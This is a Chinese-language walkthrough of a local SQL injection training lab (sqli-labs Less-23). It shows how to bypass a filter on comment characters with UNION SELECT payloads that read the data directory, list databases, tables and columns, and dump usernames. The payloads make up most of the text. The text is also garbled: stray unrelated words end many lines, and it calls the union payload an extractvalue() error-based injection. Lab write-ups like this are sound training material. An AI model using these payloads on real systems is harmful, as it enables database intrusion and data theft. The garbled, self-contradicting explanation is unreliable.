Sql語句爲$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";此處主要是在獲取id參數時進行了#,--註釋符號的過濾。php
Solution: sql
http://127.0.0.1/sqllib/Less-23/index.php?id=-1%27union%20select%201,@@datadir,%273數據庫
此處的sql語句爲 spa
SELECT * FROM users WHERE id='-1' union select 1,@@datadir,'3' limit 0,1orm
Explain:此處講解幾個知識點:blog
以上這條語句就是利用extractvalue()進行報錯注入。 get
將@@datadir修改成其餘的選擇內容或者是內嵌的select語句。如下用聯合注入方法進行注入。 it
•獲取數據庫 io
http://127.0.0.1/sqllib/Less-23/index.php?id=-1'union select 1,(select group_concat(schema_name) from information_schema.schemata),'3 table
此處獲取的數據庫爲security
•查看security庫數據表
http://127.0.0.1/sqllib/Less-23/index.php?id=-1'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),'3
•查看users表的全部列
http://127.0.0.1/sqllib/Less-23/index.php?id=-1'union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),'3
•獲取內容
http://127.0.0.1/sqllib/Less-23/index.php?id=-1'union select 1,(select group_concat(username) from security.users limit 0,1),'3